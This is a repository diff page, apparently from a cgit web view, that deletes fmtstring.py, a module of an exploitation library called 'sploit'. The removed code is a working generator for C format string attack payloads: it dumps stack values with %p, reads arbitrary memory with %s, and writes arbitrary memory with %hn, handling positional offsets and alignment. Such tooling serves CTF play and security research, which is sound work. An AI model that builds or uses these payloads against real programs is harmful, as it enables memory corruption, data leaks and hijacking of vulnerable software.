summaryrefslogtreecommitdiffstats
path: root/sploit/payload/fmtstring.py
diff options
context:
space:
mode:
Diffstat (limited to 'sploit/payload/fmtstring.py')
-rw-r--r--sploit/payload/fmtstring.py178
1 files changed, 0 insertions, 178 deletions
diff --git a/sploit/payload/fmtstring.py b/sploit/payload/fmtstring.py
deleted file mode 100644
index 54da6f2..0000000
--- a/sploit/payload/fmtstring.py
+++ /dev/null
@@ -1,178 +0,0 @@
-"""
-Exploit C-style format string vulnerabilities
-
-These techniques leverage functions such as printf, fprintf, sprintf, etc. when
-run on unchecked user input to perform arbitrary memory read or write. This is
-made possible by the unintended use of user input as the function's format
-string argument, instead of an ordinary data argument. Attackers may inject
-their own conversion specifiers, which act as operating instructions to the
-function. Interesting formatters include:
-
- %p Read argument value. These are the values of function argument
- registers and values from the stack. The value is printed as
- hexadecimal (with leading "0x") and interprets values as unsigned
- long (aka, same size as arch.wordsize).
-
- %s Read memory as asciiz string. Prints the data pointed to by
- argument value.
-
- %c Read argument as 8-bit character, printing the interpreted character
- value. This formatter is useful in combination with a field width
- specifier in order to print a controlled number of bytes to the
- output, which is meaningful to the next formatter.
-
- %n Write memory as integer. Prints no output, but writes the number of
- characters printed so far to the location pointed to by the argument
- pointer. A length modifier will control the bit-width of the
- integer written.
-
-See `man 3 printf` for more details.
-"""
-
-from sploit.arch import arch, btoi, itob
-from sploit.payload.payload import Payload
-from sploit.payload.payload_entry import padalign, padrel
-
-_FMTSTR_MAGIC = b"\xcd"
-
-def _make_fmtstr_payload():
- # A typical layout will look like this:
- # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
- # ^ ^ ^ ^ ^ ^
- # fmt[0] fmt[1] nul | addrs[0] addrs[1]
- # align
- #
- # Many examples found online will demo placing addresses at the front. Eg:
- # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
- # This has the benefit that %n positional values are simple to calculate
- # (they just start at the payload position and increase by one). However,
- # any NULL bytes in the addresses break the exploit, since printf will stop
- # processing its string once a NULL is encountered.
- #
- # Moving addresses to the end mitigates this. Wordsize alignment is then
- # necessary to give for valid argument positions. We also intentionally
- # NULL terminate the format string portion of the payload to prevent printf
- # from processing beyond formatters.
- fp = Payload()
- fp.fmt = Payload()
- fp.null = b"\x00"
- fp.align = padalign(arch.wordsize)
- fp.addrs = Payload()
- return fp
-
-def _fixup_positionals(fp, position, offset=None):
- if offset is None:
- offset = fp.addrs.base // arch.wordsize
-
- fixup = _make_fmtstr_payload()
- fixup.addrs = fp.addrs
-
- for i, fmt in enumerate(fp.fmt):
- pos = position + offset + i
- fixup.fmt(fmt.decode().format(pos).encode())
-
- # String formatting positional values may grow the format string so much
- # as to cause the addrs offset to shift. Detect this and correct.
- check = fixup.addrs.base // arch.wordsize
- if offset != check:
- return _fixup_positionals(fp, position, check)
-
- return fixup
-
-def fmtstr_dump(start=None, end=None):
- """
- Return a format string payload which dumps annotated argument values.
-
- start (int): Starting argument position (default: 1)
- end (int): Ending argument position (default: start + 20)
- """
- if start is None: start = 1
- if end is None: end = start + 19 # inclusive, so 20 total arguments
-
- fp = Payload()
- fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
- fp.fmt = Payload()
- fp.null = b"\x00"
-
- for pos in range(start, end+1):
- if pos < len(arch.funcargs):
- label = arch.funcargs[pos]
- else:
- offset = (pos - len(arch.funcargs)) * arch.wordsize
- label = f"stack+{hex(offset)}"
-
- fp.fmt(f"({pos}$ {label}) %{pos}$p ".encode())
-
- return fp
-
-def fmtstr_get(*positions, join=" "):
- """
- Return a format string payload which prints specific argument values.
-
- positions (*int): Argument positions
- join (str): Delimiter string
- """
- fp = Payload()
- fp.fmt = Payload()
- fp.null = join
-
- for p in positions:
- fp.fmt(f"{join}%{p}$p".encode())
-
- return fp
-
-def fmtstr_read(position, address):
- """
- Return a format string payload which reads data (as string, via %s).
-
- position (int): printf positional offset of payload on stack.
- address (int): Address of data to read.
- """
- fp = _make_fmtstr_payload()
- fp.fmt(b"%{}$s")
- fp.addrs(address)
- return _fixup_positionals(fp, position)
-
-def fmtstr_write(position, _data, _value=None):
- """
- Return a format string payload which writes data.
-
- One option for calling this function is to give a write destination in _data
- as an integer, and the value to write in _value.
-
- Alternatively, _data may contain a dictionary, with write destinations as
- keys and contents to write as values. _value is ignored in this case.
-
- In either case, the contents to write is generally expected to be bytes.
- However, integers are converted automatically via itob().
-
- position (int): printf positional offset of payload on stack.
- _data (int|dict{int:bytes}): Write data (see above)
- _value (int|bytes): Write value (see above)
- """
- # Convert from 2-argument style to dictionary.
- if type(_data) is int:
- _data = { _data: _value }
-
- pairs = {}
-
- # Collect each 2-byte word to write.
- for addr, value in _data.items():
- value = itob(value) if type(value) is int else bytes(value)
- words = [ value[i:i+2] for i in range(0, len(value), 2) ]
- words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
- pairs.update(words)
-
- fp = _make_fmtstr_payload()
- prev = 0
-
- # Craft writes.
- for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
- diff = word - prev
- prev = word
-
- size = "" if diff == 0 else f"%{diff}c"
- fp.fmt(f"{size}%{{}}$hn".encode())
- fp.addrs(addr)
-
- return _fixup_positionals(fp, position)